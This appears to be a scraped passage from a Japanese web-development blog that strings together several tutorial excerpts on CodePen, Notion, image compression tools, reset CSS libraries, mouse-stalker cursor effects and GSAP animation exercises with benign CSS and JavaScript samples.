JS/CSS」から追加できます。 外部リソースはCDNで統一 Bootstrap、GSAP、Vue/Reactなどは CDNの安定版 を指定。読み込み順（依存関係）に注意し、不要になったら外すと実行が軽くなります。 プリプロセッサを活用（SCSS・Babel など） 「Settings → HTML/CSS/JS」から SCSS / PostCSS / Babel / TypeScript(トランスパイル) を選択可能。既存プロジェクトの再現性を高められます。 フォーク運用で安全に試す 他人のPenでも自分のPenでも、Fork → 変更 → 比較の流れにすると元を壊さず改善が回せます。学習にも最適。 Embedで記事に埋め込む ブログやドキュメントに Embed を貼ると、読者がその場で動作を確認できます。ダーク/ライトや表示タブの初期状態は埋め込みオプションで調整。 コレクションで整理 テーマ別に Collections を作ってPenを分類。社内共有や学習ロードマップとしても便利です。 実務の不具合報告テンプレ Pen上部の説明欄に「症状・期待動作・再現手順・環境」を書き、URLを共有。最小再現＋環境情報でレビューがスムーズになります。 よくある質問（FAQ） Q. コードペン（CodePen）とは何ですか？ コードペン（CodePen）とは、HTML・CSS・JavaScriptをブラウザ上で書いて即時プレビューできる無料のオンラインコードエディタです。リアルタイムプレビューで結果を即確認でき、コードスニペットの共有やブログ埋め込み、ポートフォリオとしても活用できます。 Q. コードペン（CodePen）の無料プランで何ができますか？ 無料プランでもPen（コードスニペット）の作成・公開・共有が無制限で利用でき、外部ライブラリの読み込み、SCSSやTypeScript等のプリプロセッサ、ブログへのEmbed埋め込みが可能です。プライベートPenやAsset Hostingが必要な場合は有料のProプラン（月額$12〜）を検討してください。 Q. 外部ライブラリ（jQuery・GSAPなど）はどこで読み込めますか？ PenのSettings→JavaScriptまたはCSSでCDNのURLを追加します。依存関係のあるライブラリは上から順に並べてください。 ### [Notionの基本的な使い方｜タスク管理と情報整理に役立つ操作ガイド｜初心者必見](https://codequest.work/notion-how-to-use/) 1. Notionとは？ Notionは、メモ、タスク管理、プロジェクト管理、データベース機能を一つにまとめたオールインワンの生産性ツールです。個人での活用はもちろん、チームでの共同作業にも最適です。特にそのカスタマイズ性の高さと、簡単な操作で複雑な管理ができる点が人気の理由です。 例えば、ToDoリストから学習ノート、プロジェクトの進行管理まで、自由にテンプレートを作成して管理できるのが特徴です。この記事では、初心者がNotionを効果的に使い始めるためのステップと便利な活用術を紹介します。 2. Notionの基本機能 ページ作成 Notionで最初に覚えるべきは、ページの作り方です。新しいページは「+ New Page」ボタンをクリックして簡単に作成できます。ページ内には以下のような要素を追加できます： 見出しやテキスト チェックリストや箇条書きリスト 画像やリンク ブロックとは？ Notionのページは「ブロック」と呼ばれる単位で構成されています。たとえば、テキストブロック、画像ブロック、リストブロックなどです。これらは自由に追加、削除、移動が可能で、ドラッグ＆ドロップで簡単に配置を変更できます。 データベース機能 Notionの目玉機能がデータベースです。表形式、カンバン形式、リスト形式など、多彩な表示オプションがあり、タスク管理や進捗確認が効率的に行えます。たとえば、フィルターやタグを設定してプロジェクトの進行状況を細かく把握できます。 3. 初心者向けの使い始め方 アカウント作成 まずはNotionの公式サイト（https://www.notion.so/）でアカウントを作成します。無料プランでも十分な機能が使えますが、チーム利用の場合は有料プランの検討もおすすめです。 初めてのページ作成 テンプレートを利用するNotionには、ToDoリストやプロジェクト管理など、さまざまな用途向けのテンプレートが用意されています。テンプレートをベースに自分仕様にカスタマイズするのが効率的です。 タスク管理を作ってみよう「/todo」と入力するとチェックリストが作成されます。このリストを使って毎日のタスクを管理してみましょう。 4. Notionの便利な使い方 個人向け 日記やジャーナル日付ごとにページを作成し、日記や記録をつける用途で使えます。 リスト管理読みたい本や観たい映画のリストを作成し、進捗を管理するのも便利です。 仕事向け プロジェクト管理データベースを使ってタスクの優先度や進行状況を管理できます。 会議の議事録チームで共有できる議事録をその場で編集可能。全員で内容をリアルタイムに更新できます。 学習向け ノート作成授業や講義の内容を整理して記録するのに最適です。 スケジュール管理カレンダー機能を活用して、試験や提出期限を視覚的に管理できます。 5. Notionの活用Tips ショートカットを活用/を入力するだけでさまざまなブロックが追加できます。たとえば、/tableでテーブルを追加、/imageで画像を挿入可能。 検索機能Notionの検索は非常に強力です。キーワードを入力するだけで、ページやブロックを一瞬で見つけられます。 データベースの自動化リレーション機能を使えば、データベース同士をリンクさせて情報を整理することができます。 6. おすすめテンプレート 以下のテンプレートを使うことで、効率的に始められます： タスク管理テンプレート毎日のToDoリストを簡単に作成できます。 プロジェクト管理テンプレートカンバン形式でタスクを視覚的に整理可能。 個人ダッシュボードテンプレート日々の予定やタスク、メモを一つのページに集約。 7. まとめ Notionは、その自由度とカスタマイズ性から、初心者から上級者まで幅広く利用されています。まずはシンプルなページ作成から始め、徐々にデータベースやテンプレートの活用を取り入れてみましょう。日常のちょっとした管理から大規模なプロジェクトまで、Notionを活用して生産性を向上させてください！ ▶ NotionとClaude Codeを連携して仕様書やタスクを開発コンテキストにする方法はこちら 実務Tips（ベストプラクティス集） ワークスペースを最初に整理する 最初からフォルダ分けを意識せず、「個人用」「仕事用」「共有用」の3分類でシンプルに管理すると混乱が少ないです。 テンプレートを活用する 議事録、タスク管理、データベース型の表など、公式テンプレートをそのまま使うだけで十分実用的です。ゼロから作ろうとせず、既存の型をベースにしましょう。 データベースで「並び替え・フィルタ」を活用 タスク一覧や案件管理は、フィルタで「進行中」だけ表示するビューを作ると効率が上がります。ビュー切替がNotionの最大の強みです。 ショートカットで操作効率UP / でブロック追加 @ でユーザー・日付をメンション [[ ]] でページリンク これらを使いこなすと、Notionが一気に「使えるツール」になります。 モバイルとPCを使い分ける PCは設計・編集に、モバイルは閲覧・簡易入力に最適。スマホだけで完結させようとするとストレスが大きいので、役割を分けて運用しましょう。 権限設定は必ずチェック 共有ページを作るときは、「閲覧のみ」「コメントのみ」「編集可」の違いを確認。誤って全員に編集権限を与えるとトラブルの元です。 よくある質問 Q. Notionは無料でも十分使えますか？ A. はい。個人利用であれば無料プランで十分です。有料版は「高度な権限管理」「無制限の履歴復元」などが必要になったときに検討すればOKです。 Q. 日本語対応は進んでいますか？ A. インターフェースはほぼ日本語化されています。ヘルプ記事や最新機能の一部は英語表記もありますが、利用上の不便はほとんどありません。 Q. 他の人と同時編集はできますか？ A. 可能です。Google Docsのようにリアルタイムで共同編集でき、コメント機能も備わっています。 Q. データはエクスポートできますか？ A. はい。MarkdownやHTMLでエクスポートできます。ただしレイアウトやリンクが崩れる場合があるため、バックアップ用途としての利用がおすすめです。 Q. EvernoteやGoogleドキュメントと何が違うの？ A. 単なるノートアプリではなく、データベース・カンバン・カレンダーやタスク管理が1つに統合されている点が大きな違いです。ページを入れ子構造にして情報を階層的に整理でき、Markdownベースの記法で素早く書けます。複数人でのプロジェクト管理に強いです。 Q. どんな使い方から始めれば良い？ A. まずは タスク管理表 と 日記／メモページ の2つを作ってみるのがおすすめです。毎日使う習慣が自然に身につきます。 Q. Notionとは何ですか？ A. Notionはメモ・タスク管理・データベース・Wiki・プロジェクト管理を1つのツールに統合したオールインワンのワークスペースです。個人の学習メモからチームのナレッジベースまで幅広く活用でき、無料プランでも十分な機能が使えます。 ### [初心者からプロまで！おすすめ画像圧縮ツール5選](https://codequest.work/image-compression-tools/) 画像圧縮はWebサイトの表示速度向上やSEO改善に欠かせない作業です。しかし、どのツールを使えば良いのか迷ってしまうことも多いでしょう。この記事では、初心者からプロまで幅広く利用されているおすすめの画像圧縮ツールを5つ厳選してご紹介します。 まずはこれ：画像圧縮・WebP変換ツール（CodeQuest.work） 特徴 当サイトが提供する無料のオンラインツールです。JPG・PNG・WebP・SVGの圧縮・相互変換に加えて、OGPやSNSテンプレートでの切り抜き・正円トリミング・背景透過まで対応します。最大の特徴は、画像がサーバーに送信されず、すべてブラウザ内（端末上）で処理されることです。 対応形式: JPG、PNG、WebP、SVG 主な機能: 圧縮、相互変換、リサイズ・切り抜き、背景透過、ZIP一括ダウンロード 料金プラン: 完全無料（登録不要・枚数制限なし） おすすめポイント アップロード型のオンラインツールと違って画像が外部に出ないため、クライアントの未公開素材や社内資料も安心して処理できます。具体的な使い方は画像圧縮・WebP変換ツールの使い方ガイドで解説しています。 ツールを使ってみる（無料・ブラウザ完結） 背景の切り抜きだけを行いたいときは、AIが人物・商品などの被写体を自動検出するAI背景透過ツールが便利です。こちらも登録不要・ブラウザ内処理で安全に使えます。 1. TinyPNG 特徴 TinyPNGは、シンプルなインターフェースで初心者にも使いやすいオンライン画像圧縮ツールです。PNGやJPEG形式の画像をドラッグ＆ドロップするだけで簡単に圧縮できます。 対応形式: PNG、JPEG 主な機能: 高圧縮率、画像品質の保持 料金プラン: 無料（1回に最大20枚までアップロード可能）、有料プランでさらに多くの機能を提供 おすすめポイント TinyPNGは使い方が非常に簡単で、無料で始められるのが魅力です。初心者に特におすすめのツールです。 2. Squoosh 特徴 Googleが提供するSquooshは、圧縮結果をリアルタイムでプレビューできる高性能ツールです。細かい圧縮設定が可能で、プロフェッショナルにも人気です。 対応形式: JPEG、PNG、WebP、AVIF など 主な機能: 圧縮率や形式の変更、画像プレビュー 料金プラン: 完全無料 おすすめポイント 多機能かつ無料で使える点が最大の魅力です。初心者からプロまで幅広い層に適しています。 3. ImageOptim 特徴 ImageOptimはMacユーザーにおすすめのデスクトップツールで、ドラッグ＆ドロップで画像を圧縮できます。ロスレス圧縮を行い、画像の品質を保持しながらファイルサイズを削減します。 対応形式: PNG、JPEG、GIF 主な機能: バルク圧縮、ロスレス圧縮 料金プラン: 無料 おすすめポイント Mac専用ツールで、操作が非常に簡単です。品質を重視しながら圧縮したいプロフェッショナルにも最適です。 4. RIOT (Radical Image Optimization Tool) 特徴 RIOTはWindows向けの軽量デスクトップツールで、初心者からプロまで幅広く利用されています。圧縮設定を細かく調整できるのが特徴です。 対応形式: JPEG、PNG、GIF 主な機能: 圧縮品質の調整、バッチ処理 料金プラン: 無料 おすすめポイント 詳細な設定が可能で、特にプロ向けの作業で力を発揮します。Windowsユーザーにおすすめです。 5. ShortPixel 特徴 ShortPixelはWordPressサイト運営者に特に人気の高いプラグインです。画像圧縮だけでなく、WebP形式への変換も可能です。 対応形式: JPEG、PNG、GIF、WebP、PDF 主な機能: 自動圧縮、WebP変換、バルク処理 料金プラン: 無料（月50枚まで）、有料プランあり おすすめポイント WordPressに直接インストールできるため、サイト管理が効率化します。WebP変換など最新のニーズにも対応しています。 番外編: EWWW Image Optimizer 特徴 EWWW Image Optimizerは、WordPressユーザー向けの人気プラグインで、画像を自動的に最適化してくれます。サーバーサイドでの処理により、他のツールを使わずに直接圧縮が可能です。 対応形式: JPEG、PNG、GIF、WebP、PDF 主な機能: 自動圧縮、WebP変換、ロスレス圧縮 料金プラン: 無料、有料プランあり おすすめポイント WordPress専用ツールとして使い勝手が良く、手軽に画像最適化が行えます。サイト速度向上を目指すサイト運営者におすすめです。 公式サイトはこちら まとめ 画像圧縮ツールはそれぞれ特徴が異なり、ニーズに合ったツールを選ぶことで作業効率が大幅に向上します。初心者にはシンプルで無料のTinyPNGやSquoosh、プロには多機能なImageOptimやRIOT、WordPressユーザーにはShortPixel、EWWWImageOptimizerがおすすめです。 最適なツールを選んで、サイトのパフォーマンスを向上させましょう！ 実務Tips（ベストプラクティス集） 圧縮率と画質のバランスを意識する 圧縮しすぎると画質が劣化します。WebPやAVIF形式に変換すれば、高画質のまま容量を大幅削減可能です。なお、圧縮では元画像より小さい画像を大きくすることはできません。素材そのものが小さくて足りないときは、画像高画質化ツールで拡大してから圧縮する順番になります。 オンラインツールとローカルツールを使い分ける オンライン：TinyPNG, Squoosh → 手軽・インストール不要 ローカル：ImageOptim, JPEGmini → 一括処理・オフライン利用可能用途に応じて使い分けるのが効率的です。 WordPressでは自動圧縮プラグインを活用 EWWW Image Optimizer や ShortPixel を導入すると、アップロードと同時に最適化されるので運用が楽になります。 サムネイル画像も圧縮対象にする 記事本文用の画像だけでなく、OGP画像やサムネイルも容量が大きいと表示が遅くなります。すべて一括最適化しておきましょう。 圧縮後は必ずプレビュー確認 写真系はノイズ、イラスト系は文字のにじみが起きやすいので、実際のブラウザ表示で確認する習慣をつけましょう。 Core Web Vitalsの改善に直結 画像の軽量化はLCP（Largest Contentful Paint）改善に大きく貢献します。SEO施策としても優先度が高いです。 よくある質問 Q. 画像圧縮ツールを使う理由は？ Webサイトの表示速度に最も影響するのは画像ファイルのサイズです。圧縮により画質をほぼ維持したまま50〜80%のファイルサイズ削減が可能で、Core Web Vitals（特にLCP）の改善に直結します。 Q. WebPとJPEGの違いは？ WebPはGoogleが開発した次世代画像フォーマットで、JPEGと比べて25〜35%小さいファイルサイズで同等の画質を実現します。透過やアニメーションにも対応し、2026年現在の主要ブラウザすべてでサポートされています。 Q. 画像圧縮の品質はどの程度が適切ですか？ JPEG/WebPの品質設定は75〜85%が最適なバランスです。品質80%でも肉眼ではほぼ判別できず、ファイルサイズは大幅に削減できます。写真はWebP、ロゴや図解はPNG（またはSVG）を使い分けてください。 Q. JPEGとPNGはどう使い分けるべきですか？ 写真はJPEG、イラストや透過が必要な場合はPNGが適しています。さらに軽量化するならWebP/AVIF変換を検討しましょう。 Q. 無料のオンライン圧縮ツールは安全ですか？ 信頼できるサービスを選べば問題ありませんが、機密情報を含む画像はローカルツールか、画像をサーバーに送信せずブラウザ内で処理が完結するツールで処理するのが安心です。 Q. WordPressで自動圧縮するメリットは？ 手動作業が不要になり、一括で画質調整＋サムネイル生成も同時に行えるため、運用効率が大幅に上がります。 Q. 圧縮後の画質劣化を最小限にする方法は？ WebP変換＋ロスレス圧縮を組み合わせるのがおすすめです。ツールによってはプレビュー比較機能があるので活用しましょう。 ### [Reset CSS おすすめ5選比較【2026年】結局どれを使うべき？](https://codequest.work/reset-css-with-cdn-box-sizing/) リセットCSSとは リセットCSS（Reset CSS / CSSリセット）とは、ブラウザがデフォルトで適用するスタイルを初期化・統一するためのCSSファイルです。Chrome・Firefox・Safariなどのブラウザはそれぞれ独自のデフォルトスタイル（margin、padding、font-sizeなど）を持っているため、何も対策をしないとブラウザ間で見た目が異なってしまいます。リセットCSSを最初に読み込むことで、すべてのブラウザで同じスタート地点からスタイリングを始められます。 結論を先に言うと、初心者やモダンさ重視なら Josh's Custom CSS Reset、日本語情報が多く徹底的に初期化するなら destyle.css、実績と安定性なら Normalize.css が2026年のおすすめです。迷ったらまず Josh's Custom CSS Reset から試すと失敗しません。 この記事でわかること ✅ 2026年最新のReset CSSトレンド ✅ Josh's Custom CSS Resetとは何か ✅ おすすめのReset CSS 5選と使い分け ✅ box-sizing: border-box; の重要性 ✅ カスケードレイヤー（@layer）の活用法 ✅ CDN vs ローカルファイルの選び方 ✅ よくある質問10選（実装の悩みを解決） 📌 関連記事: 定番ライブラリを使うだけでなく、自分でリセットCSSを作ってみたい方は自作リセットCSSの作り方——GitHub + jsDelivr CDNで公開もあわせてどうぞ。 はじめに： 2025年のReset CSS事情 Reset CSSは、ブラウザごとのデフォルトスタイルを統一し、Web制作でのスタイル崩れを防ぐ重要な役割を果たします。 しかし、2026年現在、Reset CSSの考え方は大きく変わってきました。 従来の「すべてをリセットする」アプローチから、「必要最小限のリセット＋モダンな機能の活用」へとパラダイムシフトしています。 本記事では、2026年の最新トレンドを反映したReset CSSを5つ厳選し、それぞれの特徴や導入方法を徹底解説します。 2026年のReset CSS 新潮流 従来との3つの大きな違い 1. 全称セレクタ（ * {}）による一括リセットは非推奨に 【従来（2010年代）】 *, *::before, *::after { margin: 0; padding: 0; } 【問題点】 ・パフォーマンスに悪影響 ・アクセシビリティの損失（フォーム要素などの有用なスタイルまで無効化） ・保守性の低下 【2026年のアプローチ】 必要な要素にのみ適用する選択的リセット 2. カスケードレイヤー（@layer）の活用 2025年の新機能「@layer」を使うことで、Reset CSSの優先順位を明確に管理できます。 @layer reset, base, components; @layer reset { /* Reset CSSのコード */ } @layer base { /* ベーススタイル */ } これにより、詳細度の衝突を防ぎ、大規模プロジェクトでも管理が容易になります。 3. 「リセット不要論」の登場 IE11のサポート終了（2022年6月）以降、モダンブラウザ（Chrome、Edge、Safari、Firefox）の標準化が進み、ブラウザ間の差異は大幅に縮小しました。 そのため「もうReset CSSは不要では？」という意見も出ていますが、実務では依然として有用です。 理由： ・微細な差異は残っている（特にフォーム要素） ・box-sizing: border-box; の一括設定が便利 ・チーム開発でのスタイル統一に役立つ box-sizing: border-box; の重要性 デフォルトの問題点 CSSのデフォルト設定では box-sizing: content-box; となっており、width/heightにpadding・borderが含まれません。 【問題のある例】 .box { width: 300px; padding: 20px; border: 5px solid #000; } /* 実際の横幅 = 300px + 20px×2 + 5px×2 = 350px */ 幅300pxのつもりが、実際には350pxになってしまいます！ ------------------------------------------------ border-box で解決 *, *::before, *::after { box-sizing: border-box; } .box { width: 300px; /* padding・borderを含めて300px */ padding: 20px; border: 5px solid #000; } /* 実際の横幅 = きっちり300px！ */ box-sizing: border-box; のメリット： ✅ 見た目通りのサイズ指定ができる ✅ レスポンシブデザインが簡単になる ✅ 計算ミスによるレイアウト崩れを防げる ✅ CSSコードがシンプルになる ✅ パーセント指定との相性が抜群 特にレスポンシブデザインでは必須の設定です！ 【2026年最新】おすすめReset CSS 5選 1. Josh's Custom CSS Reset ★★★★★ （最もモダン・初心者に最推奨） 2026年現在、最も注目されているReset CSSです。 特徴： ・2025年3月に最終更新（最新ブラウザに完全対応） ・たった9つのルールでシンプル ・「なぜこの設定が必要か」が論理的に説明されている ・教育的な設計で、CSSの理解が深まる ・interpolate-sizeプロパティなど最新CSS機能を活用 重要：CDNではなくコピペで使うのが標準 Josh's Custom CSS Resetは、GitHubやCDNで配布されていません。 公式サイトからコードをコピーして、プロジェクトのCSSファイルに直接貼り付けるのが正しい使い方です。 【コード（2025年3月版）】 /* Josh's Custom CSS Reset https://www.joshwcomeau.com/css/custom-css-reset/ */ *, *::before, *::after { box-sizing: border-box; } *:not(dialog) { margin: 0; } @media (prefers-reduced-motion: no-preference) { html { interpolate-size: allow-keywords; } } body { line-height: 1.5; -webkit-font-smoothing: antialiased; } img, picture, video, canvas, svg { display: block; max-width: 100%; } input, button, textarea, select { font: inherit; } p, h1, h2, h3, h4, h5, h6 { overflow-wrap: break-word; } p { text-wrap: pretty; } h1, h2, h3, h4, h5, h6 { text-wrap: balance; } #root, #__next { isolation: isolate; } 公式サイト: https://www.joshwcomeau.com/css/custom-css-reset/ 向いているプロジェクト： ・2025年以降の新規プロジェクト ・モダンブラウザのみ対応 ・CSSを深く理解したい初心者 ・React/Nextjsプロジェクト（#root, #__next対応） 2. destyle.css ★★★★★（日本で大人気・強力なリセット） 日本のWeb制作現場で非常に人気の高いReset CSSです。 特徴： ・デフォルトスタイルをほぼ完全にリセット ・h1〜h6がすべて同じスタイルになる（徹底的なリセット） ・日本語の解説が豊富 ・2025年1月現在も活発に更新 ・MITライセンスで商用利用可能 CDN読み込み： <link rel="stylesheet" href="https://unpkg.com/destyle.css@4.0.1/destyle.min.css"> ダウンロード: https://github.com/nicolas-cusan/destyle.css 向いているプロジェクト： ・ゼロからCSSを書きたい ・デザインの自由度を最大限に ・日本語の情報が欲しい ・完璧主義なデザイナー 注意点： ・リセットが強力すぎて、フォーム要素のスタイルまで消える ・スタイル適用し忘れに注意（特にinput, button） 3. Normalize.css ★★★★☆（定番・最も安定） 最も歴史があり、実績豊富なReset CSSです。 特徴： ・GitHubスター5万以上 ・ブラウザの有用なスタイルは残す ・デフォルトスタイルを「リセット」ではなく「整える」 ・情報量が圧倒的に多い ・トラブルシューティングが容易 CDN読み込み： <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/8.0.1/normalize.min.css"> 公式サイト: https://github.com/necolas/normalize.css 向いているプロジェクト： ・初めてのWeb制作 ・安定性・実績重視 ・チーム開発 ・長期運用サイト 注意点： ・box-sizing: border-box; は含まれていない（自分で追加が必要） 追加コード： *, *::before, *::after { box-sizing: border-box; } 4. Sanitize.css ★★★★☆（Normalize.cssの進化版） Normalize.cssをベースに、よりモダンな機能を追加したReset CSSです。 特徴： ・Normalize.cssの後継的な位置づけ ・アクセシビリティを考慮 ・モダンブラウザに最適化 ・セマンティックHTML対応 CDN読み込み： <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sanitize.css"> 公式サイト: https://github.com/csstools/sanitize.css 向いているプロジェクト： ・モダンブラウザのみ対応 ・アクセシビリティ重視 ・最新のWeb標準に準拠したい 5. ress.css ★★★☆☆（Normalize + カスタマイズ） Normalize.cssをカスタマイズして、より使いやすくしたReset CSSです。 ### [マウスストーカーでカーソルを追尾するアニメーション｜Mouse Stalker 実装ガイド](https://codequest.work/mouse-stalker-cursor-effect/) はじめに ウェブデザインにおいて、ユーザー体験（UX）は非常に重要な要素です。中でも「Mouse Stalker（マウスストーカー）」は、動きとデザインを融合させた注目のエフェクトとして、多くのクリエイターに取り入れられています。 「Mouse Stalker」とは、マウスカーソルを追従するアニメーションを指します。このエフェクトにより、ウェブサイトのデザイン性が向上し、ユーザーを飽きさせないインタラクションを提供することが可能です。 この記事では、Mouse Stalkerの概要、利用例、そしてデザインのヒントを解説します。ウェブ制作初心者の方でも挑戦しやすいシンプルな手法をお届けします！ 「Mouse Stalker」とは？ 「Mouse Stalker」は、ユーザーのマウスカーソルを追従するアニメーションやスタイルを指します。この機能を使うことで、以下のような効果が期待できます： サイトデザインのアクセントになる ユーザー体験を向上させる 他のサイトとの差別化が図れる 例えば、ホバー時にカーソルが拡大したり、リンクに近づいた際に色が変化することで、視覚的に楽しい体験を提供します。 「Mouse Stalker」の魅力 Mouse Stalkerを使うことで、次のような効果を得ることができます： デザイン性の向上動きのあるデザインは、静的なウェブサイトに比べて視覚的に印象深くなります。特に、ブランドの個性を強調したい場合に効果的です。 ユーザーの注目を集めるマウスの動きに応じてカーソルが追従することで、ユーザーの視線を自然に誘導できます。例えば、リンクや重要な情報に注意を向けるのに役立ちます。 インタラクティブな体験の提供滑らかなアニメーションは、ユーザーに楽しさや驚きを提供します。これにより、滞在時間の延長やリピート率の向上が期待できます。 Mouse Stalker の実装例 Mouse Stalkerは、CodePenなどで簡単に試せます。基本的な実装には、HTML、CSS、JavaScript（またはjQuery）を使用します。今回の例ではCodePenで用意したサンプルコードを活用できます。実装が完了した後は、以下のデザインの工夫を加えてみてください。 See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 応用例 デザインの工夫と応用 Mouse Stalkerをより魅力的にするには、以下のようなデザインの工夫を取り入れると良いでしょう。 色の変化マウスストーカーがリンクにホバーしたときに、色を動的に変化させます。たとえば、ホバー時にブランドカラーを反映させることで、統一感を持たせることができます。 サイズや形状の変化リンクや特定のエリアにマウスが近づいた際、ストーカーの大きさや形状を変えることで、ユーザーに「クリックできる要素」であることを示唆します。 光のエフェクトを追加ストーカーに光沢感やシャドウを加え、より高級感のあるデザインを目指します。特に、モダンなポートフォリオサイトや製品紹介ページに効果的です。 アニメーションライブラリの活用GSAPやThree.jsを活用することで、より高度な動きを加えることが可能です。たとえば、カーソルが追従するだけでなく、リンクに近づいた際に軌跡を描くといった動きを追加できます。 Mouse Stalkerを使った事例紹介 Mouse Stalkerは、多くのクリエイティブなウェブサイトで活用されています。以下はその一例です： クリエイティブエージェンシーのポートフォリオMouse Stalkerを利用し、訪問者に洗練された印象を与えるデザインを実現しています。リンクにホバーすると、ストーカーがリンクに吸い寄せられるような動きを見せることで、ブランドのこだわりを表現。 製品紹介ページストーカーに製品のサムネイル画像を表示させることで、製品の情報をダイレクトに伝える工夫が見られます。 ゲームのプロモーションサイトストーカーをカスタムカーソルとして活用し、訪問者をゲームの世界観に引き込む演出が特徴的です。 実装時の注意点 Mouse Stalkerを実装する際は、以下のポイントに注意してください。 パフォーマンスの最適化スムーズな動作を保つため、軽量なコードを心がけましょう。また、リソースの読み込みが重い場合は、不要なエフェクトを削減することを検討してください。 ユーザビリティの配慮カーソルがデザイン的に派手すぎると、かえってユーザーが混乱する可能性があります。アクセシビリティにも配慮して実装しましょう。 レスポンシブ対応スマートフォンやタブレットでは、マウスカーソルが使われないため、Mouse Stalkerが無効になる仕組みを取り入れるのがおすすめです。 よくある質問 Q. マウスストーカーとは何ですか？ マウスストーカー（Mouse Stalker）とは、マウスカーソルの動きに追従するアニメーションエフェクトのことです。カーソルに円やドット、光などの要素を追従させることで、サイトにインタラクティブな動きを加えるデザイン手法です。 Q. スマホではマウスストーカーはどうなりますか？ スマートフォンやタブレットではマウスカーソルが存在しないため、マウスストーカーは表示されません。実装時にはタッチデバイスを判定して無効化する処理を入れるのが一般的です。 Q. マウスストーカーを実装するとサイトが重くなりますか？ 適切に実装すればパフォーマンスへの影響は最小限です。requestAnimationFrameを使用し、不要な再描画を避けることがポイントです。複雑なエフェクトの場合はGSAPなどの軽量ライブラリの活用も効果的です。 Q. jQueryなしでも実装できますか？ はい、Vanilla JavaScript（素のJS）だけで実装できます。mousemoveイベントでカーソル座標を取得し、CSSのtransformで追従要素を移動させるのが基本的な実装方法です。 まとめ Mouse Stalker」は、ウェブサイトにインタラクティブ性と動的なデザインを加える強力かつシンプルな手法です。この記事で紹介した実装例や応用アイデアを活用し、ユニークなデザインをあなたのサイトで試してみてください。デザイン性を高めることで、訪問者に素晴らしい体験を提供し、サイトの魅力をさらに引き出すことができます。挑戦したアイデアはCodePenやポートフォリオサイトでシェアして、新たなインスピレーションにつなげましょう！ ### [GSAP練習問題集｜Webデザインのためのアニメーション練習ガイド](https://codequest.work/gsap-exercises-for-web-design/) 概要 GSAPは、Webアニメーションを簡単かつ効率的に作成できる強力なライブラリです。本記事では、GSAPの基本的な使い方から応用まで学べる練習問題を紹介します。 練習問題を進めるポイント 小さなタスクに分ける: 各アニメーションを細かく確認しながら実装。 公式ドキュメントを活用: GSAP公式サイトには詳しい解説があります。 目次 GSAPの基本 基本的な使い方 練習問題（初級編） ボックスの移動アニメーション 練習問題（中級編） スクロールアニメーション 練習問題（上級編） タイムラインを使った複数要素のアニメーション スクロールトリガーを使ったインタラクティブアニメーション 練習問題の解答 練習問題 問題 1. 初級：ボックスを右に動かす 問題内容:画面上にあるボックスを右に100px移動させるアニメーションを作成してください。アニメーションは1秒で完了するようにしてください。 問題2: 中級：スクロールアニメーション 問題内容:スクロールに応じて、文字がフェードインするアニメーションを作成してください。 ヒント: スクロールが発火条件 ScrollTriggerプラグインを使用 上級：タイムラインとスクロールトリガーを活用した練習問題 問題3. 上級：複数要素を連続でアニメーションさせる（タイムライン） 問題内容:以下の手順で複数のボックスを連続してアニメーションさせてください。 最初のボックスは左から右へスライド（1秒）。 次のボックスは上から下へスライド（1.5秒）。 最後のボックスは拡大して透明度を上げる（2秒）。 ヒント: 各アニメーションの開始タイミングをシーケンスで設定。 gsap.timeline() を使います。 問題4: 上級：スクロールトリガーを使った複雑なアニメーション 問題内容:スクロールすると以下のようなアニメーションを作成してください： 背景が徐々に色を変える。 特定の要素が画面中央に来るとスケールアップして回転する。 ページ最下部に到達すると要素がフェードアウトする。 ヒント: onUpdate で背景色の変化を制御。 ScrollTriggerプラグインを使います。 解答例 ▶ 問題１解答例 <div class="box"></div> <script> gsap.to(".box", { x: 100, duration: 1 }); </script> ▶ 問題２解答例 <div class="text">Hello GSAP</div> <script> gsap.registerPlugin(ScrollTrigger); gsap.from(".text", { opacity: 0, y: 50, duration: 1, scrollTrigger: { trigger: ".text", start: "top 80%", }, }); </script> ▶ 問題３解答例 <div class="box box1"></div> <div class="box box2"></div> <div class="box box3"></div> <script> const tl = gsap.timeline(); tl.to(".box1", { x: 300, duration: 1 }) .to(".box2", { y: 200, duration: 1.5 }) .to(".box3", { scale: 1.5, opacity: 1, duration: 2 }); </script> ▶ 問題４解答例 <div class="bg"></div> <div class="content"></div> <script> gsap.registerPlugin(ScrollTrigger); // 背景色の変化 gsap.to(".bg", { backgroundColor: "blue", scrollTrigger: { trigger: ".bg", start: "top top", end: "bottom bottom", scrub: true, }, }); // 中央に来た要素のスケールアップと回転 gsap.to(".content", { scale: 2, rotation: 360, scrollTrigger: { trigger: ".content", start: "center center", end: "bottom top", scrub: true, }, }); // フェードアウト gsap.to(".content", { opacity: 0, scrollTrigger: { trigger: ".content", start: "bottom top", scrub: true, }, }); </script> まとめ：GSAPで魅力的なアニメーションを作ろう GSAPは、Webデザインにおいてアニメーションを実現するための強力なツールです。この記事で紹介した練習問題を通じて、基本的なアニメーションから高度なタイムラインやスクロールトリガーを使ったテクニックまで幅広く学べたはずです。 以下のポイントを振り返りましょう： 基本アニメーションの理解ボックスの移動やフェードイン・アウトなど、アニメーションの基本操作をマスターすることで、GSAPの基礎が身につきました。 応用的なテクニックタイムラインを利用した複数要素のアニメーションや、スクロールトリガーによるインタラクティブな演出の作り方を学びました。 実践への応用GSAPの柔軟性を活かして、実際のプロジェクトで効果的にアニメーションを組み込む準備が整いました。 アニメーションはWebサイトの魅力を引き出し、ユーザー体験を向上させる重要な要素です。GSAPの公式ドキュメントやコミュニティを活用してさらに深く学び、独自のアイデアを形にしていきましょう。 この記事が、あなたのWebデザインスキル向上に役立てば幸いです。次回はさらに高度なGSAPテクニックや実践例を取り上げていく予定です。ぜひ挑戦を続けてください！ よくある質問（FAQ） Q. GSAP練習問題はどのレベルから始めるべきですか？ まずgsap.to()とgsap.from()を使った単一要素のアニメーション（移動・フェード・回転）から始めてください。基本が理解できたらタイムライン（gsap.timeline()）で複数アニメーションのシーケンス制御に進み、最後にScrollTriggerプラグインを使ったスクロール連動アニメーションに挑戦するのが効率的な学習順序です。 Q. GSAPとCSSアニメーションはどう使い分けますか？ 単純なホバー効果やフェードイン・フェードアウトなど、状態の切り替えが明確なアニメーションはCSSで実装します。複数要素の連鎖アニメーション、スクロール連動、途中での制御（一時停止・逆再生・速度変更）が必要な場合はGSAPを使います。パフォーマンス面ではどちらもGPUアクセラレーションが効くため大差ありません。 Q. GSAPは無料で使えますか？ 